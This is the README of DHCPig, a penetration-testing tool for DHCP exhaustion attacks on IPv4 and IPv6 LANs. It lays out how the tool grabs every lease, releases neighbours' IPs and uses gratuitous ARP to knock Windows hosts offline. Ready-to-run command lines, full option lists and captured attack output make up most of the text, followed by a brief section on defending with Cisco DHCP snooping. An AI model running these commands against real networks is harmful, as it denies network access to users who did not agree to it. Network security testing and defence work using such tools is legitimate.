DHCPig

Tags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy

SUMMARY

DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs on the LAN, stop new users from obtaining IPs, release any IPs in use, then for good measure send gratuitous ARP and knock all windows hosts offline.

It requires scapy >=2.1 library and admin privileges to execute. No configuration necessary, just pass the interface as a parameter. It has been tested on multiple Linux distributions and multiple DHCP servers (ISC,Windows 2k3/2k8,..).

When executed the script will perform the following actions:

Grab your Neighbors IPs before they do
Listen for DHCP Requests from other clients if offer detected, respond with request for that offer.
Request all available IP addresses in Zone
Loop and Send DHCP Requests all from different hosts & MAC addresses
Find your Neighbors MAC & IP and release their IP from DHCP server
ARP for all neighbors on that LAN, then send DHCPReleases to server

Finally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds) and then

Knock all Windows systems offline
gratuitous ARP the LAN, and since no additional DHCP addresses are available these windows systems should stay offline. Linux systems will not give up IP even when another system on LAN is detected with same IP.

PROTOCOL

IPv4
- SEQUENCE
  1. ----> DHCP_DISCOVER
  2. <---- DHCP_OFFER
  3. ----> DHCP_REQUEST
  4. <---- DHCP_REPLY (ACK/NACK)
- DHCPd snoop detection (DHCPd often checks if IP is in use)
  - Check for ARP_Snoops
  - Check for ICMP Snoops
IPv6
- SEQUENCE
  1. ----> DHCP6_SOLICIT
  2. <---- DHCP6_ADVERTISE
  3. ----> DHCP6_REQUEST
  4. <---- DHCP6_REPLY
- DHCPd snoop detection (DHCPd often checks if IP is in use)
  - Check for ICMPv6 Snoops

USAGE

enhanced DHCP exhaustion attack plus.

Usage:
    pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
  
Options:
    -h, --help                     <-- you are here :)
    -v, --verbosity                ...  0 ... no         (3)
                                        1 ... minimal
                                       10 ... default
                                       99 ... debug
                                       
    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)
    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)
    
    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
    
    -f, --fuzz                     ... randomly fuzz packets (off)

    -t, --threads                  ... number of sending threads (1)
    
    -a, --show-arp                 ... detect/print arp who_has (off)
    -i, --show-icmp                ... detect/print icmps requests (off)
    -o, --show-options             ... print lease infos (off)
    -l, --show-lease-confirm       ... detect/print dhcp replies (off)
    
    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)
    -r, --neighbors-attack-release ... release all neighbor ips (off)
    -n, --neighbors-scan-arp       ... arp neighbor scan (off)
    
    -x, --timeout-threads          ... thread spawn timer (0.4)
    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)
    -z, --timeout-dhcprequest      ... dhcp request timeout (2)
    
    -c, --color                    ... enable color output (off)

EXAMPLE

./pig.py eth1
./pig.py --show-options eth1
./pig.py -x1 --show-options eth1

./pig.py -6 eth1
./pig.py -6 --fuzz eth1
./pig.py -6 -c -verbosity=1 eth1
./pig.py -6 -c -verbosity=3 eth1
./pig.py -6 -c -verbosity=100 eth1

./pig.py --neighbors-scan-arp -r -g --show-options eth1

ACTION-SHOTS

IPv4

x@<:/src/DHCPig# ./pig.py -c -v3  -l -a -i -o eth2
[ -- ] [INFO] - using interface eth2
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1
[<---] DHCP_Offer   00:0c:29:da:53:f9   0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]
[DBG ]  * xid=154552584
[DBG ]  * CIaddr='0.0.0.0'
[DBG ]  * YIaddr='172.20.0.40'
[DBG ]  * SIaddr='0.0.0.0'
[DBG ]  * GIaddr='0.0.0.0'
[DBG ]  * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[DBG ]  * Sname='ISCdhcpd'
[DBG ]          * message-type  (2,)
[DBG ]          * server_id     ('172.20.15.1',)
[DBG ]          * lease_time    (60000,)
[DBG ]          * subnet_mask   ('255.254.0.0',)
[DBG ]          * router        ('172.20.15.1',)
[DBG ]          * 39    ('\x01\x01\x01\x00\xac\x14\x0f\x01',)
[--->] DHCP_Request 172.20.0.40
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
^C[ -- ]  -----  ABORT ...  -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...

IPv6

x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]


x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l -a -i -o eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg']
[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
^C[ -- ]  -----  ABORT ...  -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...

Minimal Output (verbosity=1)

. = DHCP_Discovery
! = DHCP_Offer
; = ICMP/ARP/DHCP_ACKs
D = DEBUG output (show options, etc.)
E = ERROR
N = NOTICE / INFO

x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3
WARNING: No route found for IPv6 destination :: (no default route?)
NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned
.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD

x@y:/src/DHCPig# ./pig.py -6 -c -v1  -l eth3
NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD

DEFENSE

most common approach to defending DHCP exhaustion is via access layer switching or wireless controllers.

In cisco switching simplest option is to enable DHCP snooping. Snooping will defend against pool exhaustion, IP hijacking, and DHCP sever spoofing all of which are used in DHCPig. Based on examined traffic, DHCP snooping will create a mapping table from IP to mac on each port. User access ports are then restricted to only the given IP. Any DHCP server messages originating from untrusted ports are filtered.

enable the following to defend against pool exhaustion, IP hijacking, and DHCP sever spoofing:

enable snooping

ip dhcp snooping
specify which port your DHCP is associated with. Most likely this is your uplink. Doing the following will limit DHCP server responses to only the specified port, so use after testing in lab environment.

int fa0/1 (or correct interface)

ip dhcp snooping trust
show status

show ip dhcp snopping

show ip dhcp snopping binding
additional info: http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf

CHANGES:

more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output more options, double the fun: scapy fuzzing, ipv6 support more options, more fun: show options/show icmp/show arp fixed indents, beautify doc, eyefriendly one-line-logging

LICENSE:

These scripts are all released under the GPL v2 or later. For a full description of the licence, please visit http://www.gnu.org/licenses/gpl.txt

DISCLAIMER:

All information and software available on this site are for educational purposes only. The author is no way responsible for any misuse of the information.

//tintin

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README.md

README.md

DHCPig

SUMMARY

PROTOCOL

USAGE

EXAMPLE

ACTION-SHOTS

DEFENSE

CHANGES:

LICENSE:

DISCLAIMER:

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README.md

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DHCPig

SUMMARY

PROTOCOL

USAGE

EXAMPLE

ACTION-SHOTS

DEFENSE

CHANGES:

LICENSE:

DISCLAIMER: